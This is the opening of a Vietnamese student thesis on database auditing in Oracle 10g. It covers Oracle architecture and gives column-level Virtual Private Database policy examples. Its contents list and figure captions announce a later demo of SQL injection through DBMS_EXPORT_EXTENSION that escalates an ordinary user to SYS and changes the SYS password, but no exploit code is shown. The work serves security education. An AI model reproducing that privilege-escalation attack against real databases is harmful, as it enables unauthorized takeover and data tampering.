doan oracle caothihongthuy

139
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã MỤC LỤC Trang MỤC LỤC............................................1 DANH MỤC CÁC HÌNH VẼ...............................4 DANH MỤC CÁC BẢNG..................................6 LỜI MỞ ĐẦU.........................................7 Chương 1: TỔNG QUAN VỀ ORACLE 10G..................9 1.1. ƯU ĐIỂM CỦA ORACLE..........................9 1.2. TÍNH NĂNG CẢI TIẾN CỦA ORACLE 10G (ORACLE 10 GRID COMPUTING)................................. 10 1.2.1. Oracle Database 10g....................11 1.2.2. Oracle Application Server 10g..........12 1.2.3. Oracle Enterprise Manager 10g..........13 1.2.4. Cải tiến an ninh cơ sở dữ liệu riêng ảo (VPD) Oracle 10g.............................. 14 1.3. KIẾN TRÚC ORACLE SERVER....................18 1.3.1. Oracle Instance........................18 1.3.2. Oracle database........................26 1.4. QUẢN TRỊ CSDL VỚI ORACLE ENTERPRISE MANAGER (OEM)........................................... 32 1.4.1. Khởi động OEM trên server..............32 1.4.2. Làm việc với OEM.......................33 1.4.3 Các chức năng chính của OEM.............34 1.5. KẾT NỐI TỚI ORACLE SERVER..................35 1.5.1. Mô hình kết nối........................35 1.5.2. Một số khái niệm cơ bản liên quan đến kết nối........................................... 36 1.6. BẢO MẬT TRONG ORACLE.......................37 Lớp AT3C - 1 - Cao Thị Hồng Thúy

Upload: an-ninh-mang

Post on 12-Aug-2015

219 views

Category:

Documents


13 download

TRANSCRIPT

Page 1: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

MỤC LỤC

Trang

MỤC LỤC.........................................................................................................1

DANH MỤC CÁC HÌNH VẼ...........................................................................4

DANH MỤC CÁC BẢNG................................................................................6

LỜI MỞ ĐẦU...................................................................................................7

Chương 1: TỔNG QUAN VỀ ORACLE 10G..................................................9

1.1. ƯU ĐIỂM CỦA ORACLE....................................................................9

1.2. TÍNH NĂNG CẢI TIẾN CỦA ORACLE 10G (ORACLE 10 GRID

COMPUTING)............................................................................................10

1.2.1. Oracle Database 10g.....................................................................11

1.2.2. Oracle Application Server 10g......................................................12

1.2.3. Oracle Enterprise Manager 10g....................................................13

1.2.4. Cải tiến an ninh cơ sở dữ liệu riêng ảo (VPD) Oracle 10g..........14

1.3. KIẾN TRÚC ORACLE SERVER.......................................................18

1.3.1. Oracle Instance..............................................................................18

1.3.2. Oracle database.............................................................................26

1.4. QUẢN TRỊ CSDL VỚI ORACLE ENTERPRISE MANAGER

(OEM).........................................................................................................32

1.4.1. Khởi động OEM trên server..........................................................32

1.4.2. Làm việc với OEM........................................................................33

1.4.3 Các chức năng chính của OEM......................................................34

1.5. KẾT NỐI TỚI ORACLE SERVER.....................................................35

1.5.1. Mô hình kết nối.............................................................................35

1.5.2. Một số khái niệm cơ bản liên quan đến kết nối............................36

1.6. BẢO MẬT TRONG ORACLE............................................................37

1.6.1 Trình tự kiện toàn an ninh Oracle Database 10g............................37

1.6.2. Bảo mật cơ sở dữ liệu....................................................................38

1.6.3. Nguyên lý đặc quyền tối thiểu.....................................................40

Chương 2: KIỂM TOÁN TRONG ORACLE 10G.........................................42

2.1. TẠI SAO PHẢI KIỂM TOÁN.............................................................42

2.1.1. Các hiểm hoạ đối với an toàn cơ sở dữ liệu..................................42

2.1.2. Các yêu cầu bảo vệ cơ sở dữ liệu..................................................45

Lớp AT3C - 1 - Cao Thị Hồng Thúy

Page 2: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

2.1.3. Vai trò của kiểm toán trong việc bảo vệ cơ sở dữ liệu..................45

2.2. TỔNG QUAN VỀ KIỂM TOÁN........................................................46

2.2.1. Định nghĩa kiểm toán....................................................................46

2.2.2. Các loại đường mòn (Trail) và bản ghi (Record)..........................47

2.2.3. Duy trì đường mòn kiểm toán (Maintaining the Audit Trail)......56

2.3. CÁC LOẠI KIỂM TOÁN....................................................................57

2.3.1. Mandatory Auditing......................................................................58

2.3.2. Standard Database Auditing.........................................................59

2.3.3. Value-Based Auditing...................................................................73

2.3.4. Fine-Grained Auditing..................................................................75

2.3.5. DBA Auditing...............................................................................85

Chương 3: DEMO CHÈN MÃ SQL, PL/SQL NÂNG QUYỀN DBA VỚI

DBMS_EXPORT_EXTENSION TRONG ORACLE 10G............................87

3.1. KỊCH BẢN DEMO..............................................................................87

3.2. QUY MÔ DEMO.................................................................................91

3.3. KẾT QUẢ ĐẠT ĐƯỢC.......................................................................99

Chương 4: KẾT LUẬN.................................................................................100

4.1. KẾT QUẢ ĐẠT ĐƯỢC.....................................................................100

4.2. HẠN CHẾ..........................................................................................100

4.3. HƯỚNG PHÁT TRIỂN.....................................................................100

4.4. ĐỀ XUẤT..........................................................................................101

DANH MỤC CÁC TỪ VIẾT TẮT

Lớp AT3C - 2 - Cao Thị Hồng Thúy

Page 3: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Từ viết tắt Ý nghĩa

SQL Structured Query Language

PL/SQL Procedural Language/Structured Query Language

OS Operating System

XML eXtensible Markup Language

SGA System Global Area

VPD Virtual Private Database

OEM Oracle Enterprise Manager

DANH MỤC CÁC HÌNH VẼ

Lớp AT3C - 3 - Cao Thị Hồng Thúy

Page 4: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Trang

Hình 1.1: Cấu hình Oracle 10g.......................................................................12

Hình 1.2 Kiến trúc Oracle Server...................................................................20

Hinh 1.3: Cấu trúc của SGA...........................................................................21

Hình 1.4 Cấu trúc Share Pool.........................................................................21

Hình 1.5 Database buffer cache......................................................................23

Hình 1.6 Redo log buffer.................................................................................23

Hình 1.7 Database Writer (DBWR)................................................................25

Hình 1.8: Log Writer (LGWT).........................................................................26

Hình 1.9: Cấu trúc database...........................................................................28

Hình 1.10: Quan hệ giữa database, tablespace và datafile............................31

Hình 1.11: Cấu trúc lưu trữ (Storage)............................................................32

Hình 1.12: Giao diện đăng nhập database oracle..........................................35

Hình 1.13: Màn hình quản lý oracle...............................................................36

Hình 1.14: Giao diện Administrator...............................................................37

Hình 1.15: Kết nối tới Oracle server..............................................................38

Hình 2.1: OS Audit Trail................................................................................61

Hình 2.2: Standard Database Auditing..........................................................61

Hình 2.3: Bảng Privileges audit mặc định.....................................................69

Hình 2.4: Trang Enterprise Manager Audit....................................................73

Hình 2.5: Các đối tượng kiểm toán.................................................................74

Hình 2.6: Vô hiệu hóa tùy chọn kiểm toán......................................................75

Hình 2.7: Value-Based Auditing.....................................................................75

Hình 2.8: Ví vụ về chính sách kiểm toán.........................................................77

Hình 2.9: DBMS_FGA.ADD_POLICY Procedure.........................................80

Hình 2.10: Kiểm toán DML statement............................................................84

Lớp AT3C - 4 - Cao Thị Hồng Thúy

Page 5: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Hình 3.1: Tạo User HONGTHUY...................................................................94

Hình 3.2: Tạo User GIAOVU..........................................................................94

Hình 3.3: Gán quyền và kiểm toán 2 user.......................................................95

Hình 3.4 SYS tạo bảng dữ liệu nhân sự..........................................................95

Hình 3.5: User GIAOVU tạo bảng DIEM.......................................................96

Hình 3.6: User HONGTHUY kết nối vào database........................................96

Hình 3.7: Show bảng dữ liệu...........................................................................97

Hình 3.8: Thực hiện file mã lệnh @hack........................................................97

Hình 3.9: User HONGTHUY nâng được thành quyền SYS............................98

Hình 3.10 : Kiểm tra lại quyền của HONGTHUY khi đã được nâng lên SYS 98

Hình 3.11: User HONGTHUY sửa đổi dữ liệu trong bảng GIAOVU.DIEM..99

Hình 3.12: User HONGTHUY chưa đủ quyền sửa dữ liệu của SYS...............99

Hình 3.13: Dùng câu lệnh Alter user để sửa pass của SYS thành hongthuy.100

Hình 3.14: Kết nối database và sửa đổi bảng NHANSU..............................100

Hình 3.15: Xem kiểm toán.............................................................................101

DANH MỤC CÁC BẢNG

Lớp AT3C - 5 - Cao Thị Hồng Thúy

Page 6: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Trang

Bảng 1.1: Cấu trúc database...........................................................................34

Bảng 2.1: Bảng các cột audit trail và Operating System Audit Trail.............56

Bảng 2.2: Mức kiểm toán của Standard Auditing..........................................64

Bảng 2.3: Các Auditable Statements..............................................................68

Bảng 2.4: Bảng Object Auditing Options  (Tùy chọn đối tượng kiểm toán). .70

Bảng 2.5: Bảng các yếu tố trong view V$XML_AUDIT_TRAIL.....................72

Bảng 2.6: Các thủ tục của gói DBMS_FGA...................................................78

Bảng 2.7: Các cột mới của dba_fga_audit_trail.............................................79

Bảng 2.8: Mô tả các thuộc tính DBMS_FGA.ADD_POLICY.........................82

LỜI MỞ ĐẦU

Lớp AT3C - 6 - Cao Thị Hồng Thúy

Page 7: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Sự phát triển lớn mạnh của công nghệ thông tin trong những năm qua đã

dẫn đến sử dụng rộng rãi hệ thống máy tính trong mọi tổ chức cá nhân và

công cộng, chẳng hạn như ngân hàng, trường học, tổ chức dịch vụ và sản

xuất.Vì vậy, dữ liệu được lưu giữ và quản lý trong các hệ thống máy tính

nhiều hơn. Cơ sở dữ liệu sử dụng các hệ quản trị cơ sở dữ liệu đã đáp ứng

được các yêu cầu về lưu giữ và quản lý dữ liệu.Vấn đề bảo mật cơ sở dữ liệu

càng trở nên cấp thiêt.Giám sát và kiểm toán đã trở thành một phần không thể

thiếu trong lĩnh vực bảo mật cơ sở dữ liệu và với hệ quản trị cơ sở dữ liệu

Oracle cũng vậy.

Trong xu thế hiện nay Oracle đang ngày càng chiếm lĩnh được thị

trường nhờ những ưu điểm nổi bật cả về quản trị và bảo mật dữ liệu. Kiểm

toán trong hệ quản trị Oracle là một đề tài hấp dẫn trong lĩnh vực bảo mật.

Thấy được tầm quan trọng của việc kiểm toán đối với việc bảo vệ cơ sở dữ

liệu, được sự phân công của học viện và sự hướng dẫn nhiệt tình và chu đáo

của Ks.Trần Thị Lượng em đã tìm hiểu và nghiên cứu đề tài: “Kiểm Toán

Trong Oracle 10g”. Đề tài yêu cầu tập trung tìm hiểu và sử dụng kiểm toán

trong Oracle 10g, Oracle 10g là một phiên bản mới với nhiều tính năng vượt

trội của hệ quản trị cơ sở dữ liệu Oracle

Bố cục đồ án bao gồm bốn chương :

Chương 1: Tổng quan về Oracle 10g

Chương 2: Kiểm toán trong Oracle 10g

Chương 3: Demo Chèn Mã SQL, PL/SQL Nâng Quyền DBA Với

DBMS_EXPORT_EXTENSION Trong ORACLE 10g

Chương 4: Kết luận.

Do kinh nghiệm chưa nhiều nên đề tài không tránh khỏi những thiếu sót,

sơ xuất, nên em rất mong nhận được những nhận xét đánh giá của các thầy cô

và sự đóng góp ý kiến của các ta để có thể rút ra được kinh nghiệm cho việc

học tập, làm việc và nghiên cứu sau này. Em xin chân thành cảm ơn Cử nhân

Trần Thị Lượng, các thầy cô giáo trong khoa An Toàn Thông Tin Học Viện

Kỹ Thuật Mật Mã đã nhiệt tình hướng dẫn giúp đỡ em hoàn thành đồ án này.

Lớp AT3C - 7 - Cao Thị Hồng Thúy

Page 8: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Sinh viên thực hiện

Cao Thị Hồng Thúy

Chương 1

TỔNG QUAN VỀ ORACLE 10G

Lớp AT3C - 8 - Cao Thị Hồng Thúy

Page 9: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

1.1. ƯU ĐIỂM CỦA ORACLE.

Oracle không chỉ nhắm tới những doanh nghiệp lớn mà còn nhắm tới

những doanh nghiệp trung bình và cho cả những doanh nghiệp nhỏ.Cụ thể là

Oracle Server có đủ các phiên bản thương mại từ Personal, Standard đến

Enterprise (ngoài ra còn có Oracle lite).

Về phía các doanh nghiệp: Oracle tỏ ra rất có ưu điểm như tính bảo mật

cao, tính an toàn dữ liệu cao, dễ dàng bảo trì-nâng cấp, cơ chế quyền hạn rỏ

ràng, ổn định,...

Oracle cũng không quá đắt, nếu doanh nghiệp đã từng mua lisence của

MSSQLServer thì sẽ thấy giá của Oracle cũng không chênh lệch là bao thậm

chí còn rẻ hơn, nhưng lợi ích có được lại rất lớn.

Về phía những nhà phát triển: Oracle cũng tỏ ra rất có ưu điểm như dễ

cài đặt, dễ triển khai và dễ nâng cấp lên phiên bản mới. Hơn nữa Oracle còn

tích hợp thêm PL/SQL, là một ngôn ngữ lập trình có cấu trúc - Structure

Language. Tạo thuận lợi cho các lập trình viên viết các Trigger,

StoreProcedure, Package. Đây là điểm rất mạnh so với các CSDL hiện có trên

thị trường.

Oracle, ngoài các kiểu dữ liệu thông thường còn có các kiểu dữ liệu đặc

biệt khác góp phần mang lại sức mạnh cho Oracle như Blob, clob, Bfile, ...

Nếu ta chỉ chạy thử, ta cũng không cần lo đến vấn đề lisence vì có thể

download từ trang của Oracle (technet.oracle.com).

Ngoài ra, ta có thể triển khai Oracle trên nhiều OS khác nhau (Windows,

Solaris, Linux,...) mà không cần phải viết lại PL/SQL code. Có thể import

một dumpFile (backupFile) từ một máy chạy OS này sang OS khác hoặc từ

một version thấp lên một version cao hơn mà không gặp bất cứ trở ngại nào !

(việc ngược lại cũng có thể thực hiện được nếu như ta không xài các tính

năng mới so với version trước đó).

1.2. TÍNH NĂNG CẢI TIẾN CỦA ORACLE 10G (ORACLE 10 GRID

COMPUTING).

Oracle Database 10g được phát hành với phiên bản 10.1.0.2 vào mùa

xuân năm 2004. Oracle Database 10g là hệ thống cơ sở dữ liệu đầu tiên được

Lớp AT3C - 9 - Cao Thị Hồng Thúy

Page 10: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

thiết kế nhằm tăng sức mạnh lưu trữ và xử lý dữ liệu dựa trên công nghệ tính

toán lưới (Grid Computing).

Việc phát hành Oracle10g cung cấp cơ sở hạ tầng hiệu năng cao toàn

diện, bao gồm:

Khả năng mở rộng của các sở để doanh nghiệp các trang web

thương mại điện tử

Mạnh mẽ, đáng tin cậy, có sẵn, và kiến trúc an toàn.

Một mô hình phát triển lựa chọn triển khai dễ dàng.

Tận dụng skillset hiện hành của một tổ chức trong suốt nền tảng

Oracle (bao gồm cả SQL,PL / SQL, Java, và XML)

Một giao diện quản lý cho tất cả các ứng dụng.

Tiêu chuẩn công nghiệp công nghệ , không có độc quyền trong

khóa

Hình 1.1: Cấu hình Oracle 10gNgheĐọc ngữ âm

Ngoài việc cung cấp những lợi ích được liệt kê ở trên, việc phát hành

Oracle10g chứa các cơ sở dữ liệu lưới điện. Lưới điện toán có thể làm giảm

đáng kể chi phí của máy tính, mở rộng sự sẵn có của tài nguyên máy tính, và

cung cấp năng suất cao hơn và chất lượng.

Ý tưởng cơ bản của tính toán lưới là khái niệm về máy tính như là một

tiện ích, tương tự như điện mạng lưới hoặc mạng điện thoại. Là một khách

hàng của lưới điện, ta không quan tâm, nơi dữ liệu hoặc khi tính toán được

Lớp AT3C - 10 - Cao Thị Hồng Thúy

Page 11: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

thực hiện. Muốn có tính toán thực hiện và thông tin gửi đến khi muốn nó. Từ

phía máy chủ, mạng lưới là về ảo hóa và cung cấp. Tập hợp tất cả các nguồn

tài nguyên với nhau và cung cấp các tài nguyên này dựa trên nhu cầu của

doanh nghiệp, do đó đạt được sử dụng nguồn lực tốt hơn ở cùng thời gian.

Sản phẩm ba lưới cơ sở hạ tầng (The three grid-infrastructure) của việc

phát hành Oracle10g là:

Oracle Database 10g

Oracle Application Server 10g

Oracle Enterprise Manager 10g Grid Control

Và cải tiến về cơ sở dữ liệu đã tạo ra bước đột phá cho Oracle 10g

1.2.1. Oracle Database 10g

Oracle Database 10g được thiết kế để lưu trữ và quản lý thông tin doanh

nghiệp. Cơ sở dữ liệu Oracle 10g cắt giảm chi phí quản lý và cung cấp dịch

vụ chất lượng cao. Giảm cấu hình và yêu cầu quản lý và điều chỉnh tự động

SQL đã giảm đáng kể chi phí duy trì môi trường.

Oracle Database 10g góp phần vào các sản phẩm cơ sở hạ tầng mạng

lưới của Oracle 10g phát hành.Tính toán lưới là tất cả về máy tính như là một

tiện ích. Nếu là một khách hàng, không cần phải biết nơi dữ liệu lưu trữ. Có

thể yêu cầu thông tin hoặc tính toán trên dữ liệu và có nó sẽ được gửi.

Oracle Database 10g quản lý tất cả dữ liệu. Đây không chỉ là các đối

tượng dữ liệu quan hệ mong đợi một cơ sở dữ liệu doanh nghiệp để quản lý.

Nó cũng có thể quản lý được dữ liệu phi cấu trúc như:

Bảng tính

Các tài liệu Word

Bài thuyết trình PowerPoint

XML

Kiểu dữ liệu đa phương tiện như MP3, video, đồ họa, và nhiều

hơn nữa

Các dữ liệu thậm chí không có được trong cơ sở dữ liệu. Oracle

Database 10g có các dịch vụ thông qua có thể lưu trữ siêu dữ liệu về thông tin

Lớp AT3C - 11 - Cao Thị Hồng Thúy

Page 12: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

được lưu trữ trong hệ thống tập tin. Có thể sử dụng cơ sở dữ liệu máy chủ để

quản lý và phục vụ thông tin bất cứ nơi nào nó nằm.

1.2.2. Oracle Application Server 10g

Oracle Application Server 10g cung cấp một nền tảng cơ sở hạ tầng hoàn

chỉnh cho việc phát triển và triển khai các ứng dụng doanh nghiệp, tích hợp

nhiều chức năng bao gồm một J2EE và các dịch vụ Web thời gian chạy môi

trường, một cổng thông tin doanh nghiệp, một hội nhập doanh nghiệp môi

giới, kinh doanh thông minh, bộ nhớ đệm Web và các dịch vụ quản lý danh

tính.

Oracle Application Server 10g thêm các tính năng mạng lưới điện toán

mới, xây dựng trên sự thành công củaOracle9i Application Server, trong đó

có hàng trăm khách hàng chạy doanh nghiệp sản xuất ứng dụng.

Oracle Application Server 10g là các máy chủ ứng dụng bao gồm các

dịch vụ cho tất cả các máy chủ ứng dụng khác nhau có thể muốn chạy, bao

gồm:

Cổng thông tin hoặc những trang web

Giao dịch các ứng dụng Java

Kinh doanh các ứng dụng thông minh

Nó cũng cung cấp tích hợp giữa các người sử dụng, ứng dụng, và số liệu

trong các tổ chức.

1.2.3. Oracle Enterprise Manager 10g

Grid Control

Cung cấp phần mềm.

Ứng dụng theo dõi mức độ dịch vụ.

Oracle Enterprise Manager 10g Grid Control là, hoàn toàn tích hợp,

trung tâm quản lý giao diện điều khiển và khuôn khổ cơ bản để tự động hoá

các nhiệm vụ hành chính trên toàn bộ hệ thống trong một lưới môi trường.

Với Oracle Grid Control, có thể nhóm các nút phần cứng nhiều, cơ sở dữ

liệu,ứng dụng máy chủ, và các mục tiêu vào các thực thể duy nhất hợp lý.

Bằng cách thực hiện công việc, thực thi tiêu chuẩn chính sách, giám sát hoạt

Lớp AT3C - 12 - Cao Thị Hồng Thúy

Page 13: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

động và tự động hoá nhiều nhiệm vụ khác trong một nhóm mục tiêu thay vì

trên nhiều hệ thống riêng, Grid Control cho phép mở rộng quy mô với phát

triển một lưới điện.

1.2.3.1. Cung cấp phần mềm

Với Grid Control, Oracle 10g tự động cài đặt, cấu hình, và nhân bản của

ứng dụng Server 10g và Database 10g trên các nút bội. Oracle Enterprise

Manager cung cấp một khuôn khổ chung cho cung cấp phần mềm và quản lý,

cho phép các quản trị viên tạo, cấu hình, triển khai và sử dụng các máy chủ

mới với các trường hợp mới của các máy chủ ứng dụng và cơ sở dữ liệu khi

cần thiết.

1.2.3.2. Mức độ Dịch vụ ứng dụng Giám sát

Oracle Grid Control quan điểm sẵn có và hiệu suất của các cơ sở hạ tầng

lưới điện như là một thể thống nhất, chứ không phải là đơn vị lưu trữ bị cô

lập, xử lý ô,cơ sở dữ liệu, và máy chủ ứng dụng.

1.2.4. Cải tiến an ninh cơ sở dữ liệu riêng ảo (VPD) Oracle 10g

1.2.4.1. Chính sách mức cột VPD

Trong CSDL riêng ảo truyền thống chính sách VPD được áp dụng cho

toàn bộ các hàng. Theo mặc định, một chính sách mức-cột VPD cho phép

hạn chế các hàng cột hiển thị trừ các cột được chỉ định là truy cập.Sau đây là

code ví dụ:Tạo hàm chính sách để hạn chế truy cập vào các cột SAL và

COMM

CONN sys/password@db10g AS SYSDBA

GRANT EXECUTE ON dbms_rls TO scott;

CONN scott/tiger@db10g

-- Tạo hàm chính sách để hạn chế truy cập vào các cột SAL và COMM

-- Nếu nhân viên không phải là 1 phần của department 20.

CREATE OR REPLACE FUNCTION pf_job (oowner IN VARCHAR2, ojname IN

VARCHAR2)

RETURN VARCHAR2 AS

con VARCHAR2 (200);

BEGIN

Lớp AT3C - 13 - Cao Thị Hồng Thúy

Page 14: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

con := 'deptno = 20';

RETURN (con);

END pf_job;

/

-- Áp dụng hàm chính sách cho bảng.

BEGIN

DBMS_RLS.ADD_POLICY (object_schema => 'scott',

object_name => 'emp',

policy_name => 'sp_job',

function_schema => 'scott',

policy_function => 'pf_job',

sec_relevant_cols => 'sal,comm');

END;

/

-- Chúng ta thấy tất cả các bản ghi nếu SAL and COMM không được tham

chiếu

SELECT empno, ename, job FROM emp;

EMPNO ENAME JOB

---------- ---------- ---------

7369 SMITH CLERK

.

.

7934 MILLER CLERK

14 hàng được chọn.

-- Các hàng bị hạn chế nếu SAL or COMM được tham chiếu.

SELECT empno, ename, job, sal, comm FROM emp;

EMPNO ENAME JOB SAL COMM

---------- ---------- --------- ---------- ----------

7369 SMITH CLERK 10000

7566 JONES MANAGER 2975

7788 SCOTT ANALYST 3000

7876 ADAMS CLERK 1100

7902 FORD ANALYST 3000

5 hàng được chọn.

--Hủy bỏ các hàm chính sách trong bảng.

BEGIN

DBMS_RLS.DROP_POLICY (object_schema => 'scott',

Lớp AT3C - 14 - Cao Thị Hồng Thúy

Page 15: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

object_name => 'emp',

policy_name => 'sp_job');

END;

/

1.2.4.2. Cột Masking

Cột che giấu các thao tác được thực hiện bằng cách sử dụng tham số

“sec_relevant_cols_opt => DBMS_RLS.ALL_ROWS”. Điều này cho phép

hiển thị tất cả các hàng, nhưng giấu đi giá trị của các cột được chỉ định cho

các hàng bị hạn chế:

--Sử dụng cùng một hàm chính sách như trước đây.

BEGIN

DBMS_RLS.ADD_POLICY (object_schema => 'scott',

object_name => 'emp',

policy_name => 'sp_job',

function_schema => 'scott',

policy_function => 'pf_job',

sec_relevant_cols => 'sal,comm',

sec_relevant_cols_opt => DBMS_RLS.ALL_ROWS);

END;

/

--Tất cả các hàng được trả lại nhưng giá trị của SAL và COMM là duy

nhất

--Chỉ ra nhân viên trong bộ phận 20.

SELECT empno, ename, job, sal, comm FROM emp;

EMPNO ENAME JOB SAL COMM

---------- ---------- --------- ---------- ----------

7369 SMITH CLERK 10000

7499 ALLEN SALESMAN

7521 WARD SALESMAN

7566 JONES MANAGER 2975

7654 MARTIN SALESMAN

7698 BLAKE MANAGER

7782 CLARK MANAGER

7788 SCOTT ANALYST 3000

7839 KING PRESIDENT

7844 TURNER SALESMAN

7876 ADAMS CLERK 1100

EMPNO ENAME JOB SAL COMM

Lớp AT3C - 15 - Cao Thị Hồng Thúy

Page 16: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

---------- ---------- --------- ---------- ----------

7900 JAMES CLERK

7902 FORD ANALYST 3000

7934 MILLER CLERK

14 rows selected.

--Hủy bỏ các hàm chính sách từ bảng

BEGIN

DBMS_RLS.DROP_POLICY (object_schema => 'scott',

object_name => 'emp',

policy_name => 'sp_job');

END;

/

1.2.4.3. Các loại chính sách

Việc sử dụng đúng các loại chính sách có thể tăng hiệu suất của VPD bởi

bộ nhớ đệm đầu ra của các hàm chính sách và áp dụng nó cho các truy vấn

tiếp theo mà không cần thực hiện các hàm chính sách này một lần nữa. Các

tham số POLICY_TYPE của thủ tục DBMS_RLS.ADD_POLICY được sử

dụng để thiết lập một trong năm chính sách:

STATIC - Giá trị trả về của hàm chính sách được lưu trữ và sử

dụng lại nhiều lần cho một đối tượng cá nhân. Theo định nghĩa giá

trị trả về của hàm chính sách phải được cố định.

SHARED_STATIC - Giống như STATIC nhưng các thuộc tính

của kết quả có thể được áp dụng cho một số đối tượng.

CONTEXT_SENSITIVE – Được sử dụng khi chính sách dựa trên

bối cảnh ứng dụng cục bộ. Kết quả của hàm chính sách được lưu

trữ và tái sử dụng. Hàm chính sách này chỉ thực hiện một lần nữa

khi những bối cảnh ứng dụng thay đổi.

SHARED_CONTEXT_SENSITIVE- Giống như

CONTEXT_SENSITIVE nhưng các thuộc tính của kết quả có thể

được áp dụng cho một số đối tượng.

DYNAMIC- Hàm chính sách được thực thi cho mỗi câu lệnh SQL

Lớp AT3C - 16 - Cao Thị Hồng Thúy

Page 17: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Ví dụ:

BEGIN

DBMS_RLS.ADD_POLICY (object_schema => 'scott',

object_name => 'emp',

policy_name => 'sp_job',

function_schema => 'scott',

policy_function => 'pf_job',

policy_type => DBMS_RLS.STATIC,

sec_relevant_cols => 'sal,comm',

sec_relevant_cols_opt => DBMS_RLS.ALL_ROWS);

END;

/

1.2.4.4. Bối cảnh ứng dụng hỗ trợ cho các truy vấn song song

Khi SYS_CONTEXT được gọi từ một chức năng trong một truy vấn

SQL song song thì giá trị của bối cảnh được thông qua tới tất cả các máy chủ

thẹc hiện song song (các quá trình truy vấn nô lệ) cho phép truy vấn để hoạt

động chúng.

1.3. KIẾN TRÚC ORACLE SERVER.

Oracle server là một hệ thống quản trị cơ sở dữ liệu đối tượng-quan hệ

cho phép quản lý thông tin một cách toàn diện. Oracle server bao gồm hai

thành phần chính là Oracle instance và Oracle database.

1.3.1. Oracle Instance

Oracle instance bao gồm một cấu trúc bộ nhớ System Global Area

(SGA) và các background processes (tiến trình nền) được sử dụng để quản trị

cơ sở dữ liệu. Oracle instance được xác định qua tham số môi trường

ORACLE_SID của hệ điều hành.

Lớp AT3C - 17 - Cao Thị Hồng Thúy

Page 18: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Hình 1.2 Kiến trúc Oracle Server

System Global Area - SGA

SGA là vùng bộ nhớ chia sẻ được sử dụng để lưu trữ dữ liệu và các

thông tin điều khiển của Oracle server. SGA được cấp phát (allocated) trong

bộ nhớ của máy tính mà Oracle server đang hoạt động trên đó. Các User kết

nối tới Oracle sẽ chia sẻ các dữ liệu có trong SGA, việc mở rộng không gian

bộ nhớ cho SGA sẽ làm nâng cao hiệu suất của hệ thống, lưu trữ được nhiều

dữ liệu trong hệ thống hơn đồng thời giảm thiểu các thao tác truy xuất đĩa

(disk I/O).

SGA bao gồm một vài cấu trúc bộ nhớ chính:

Shared pool: Là một phần của SGA lưu các cấu trúc bộ nhớ chia

sẻ.

Database buffer cache: Lưu trữ các dữ liệu được sử dụng gần nhất.

Redo log buffer: Được sử dụng cho việc dò tìm lại các thay đồi

trong cơ sở dữ liệu và được thực hiện bởi các background process.

Lớp AT3C - 18 - Cao Thị Hồng Thúy

Page 19: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Hinh 1.3: Cấu trúc của SGA.

1.3.1.1. Share Pool.

Shared pool là một phần trong SGA và được sử dụng khi thực hiện phân

tích câu lệnh (parse phase). Kích thước của Shared pool được xác định bởi

tham số SHARED_POOL_SIZE có trong parameter file (file tham số).

Các thành phần của Shared pool gồm có: Library cache và Data

dictionary cache.

Hình 1.4 Cấu trúc Share Pool

1.3.1.2. Library Cache.

Library cache lưu trữ thông tin về các câu lệnh SQL được sử dụng gần

nhất bao gồm:

Nội dung của câu lệnh dạng text (văn bản).

Lớp AT3C - 19 - Cao Thị Hồng Thúy

Page 20: DoAn Oracle CaoThiHongThuy

Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã

Parse tree (cây phân tích) được xây dựng tuỳ thuộc vào câu lệnh.

Execution plan (sơ đồ thực hiện lệnh) gồm các bước thực hiện và

tối ưu lệnh.

Do các thông tin trên đã được lưu trữ trong Library cache nên khi thực

hiện lại một câu lệnh truy vấn, trước khi thực hiện câu lệnh, Server process sẽ

lấy lại các thông tin đã được phân tích mà không phải phân tích lại câu lệnh.

Do vậy, Library cache có thể giúp nâng cao hiệu suất thực hiện lệnh.

1.3.1.3. Data Dictionary Cache.

Data dictionary cache là một thành phần của Shared pool lưu trữ thông

tin của dictionary cache được sử dụng gần nhất như các định nghĩa các bảng,

định nghĩa các cột, usernames, passwords, và các privileges (quyền).

Trong giai đoạn phân tích lệnh (parse phase), Server process sẽ tìm các

thông tin trong dictionary cache để xác định các đối tượng trong câu lệnh

SQL và để xác định các mức quyền tương ứng. Trong trường hợp cần thiết,

Server process có thể khởi tạo và nạp các thông tin từ các file dữ liệu.

1.3.1.4. Data buffer cache.

Khi thực hiện một truy vấn, Server process sẽ tìm các blocks cần thiết

trong database buffer cache. Nếu không tìm thấy block trong database buffer

cache, Server process mới đọc các block từ data file và tạo luôn một bản sao

của block đó vào trong vùng nhớ đệm (buffer cache). Như vậy, với các lần

truy xuất tới block đó sau này sẽ không cần thiết phải truy xuất vào datafile

nữa.

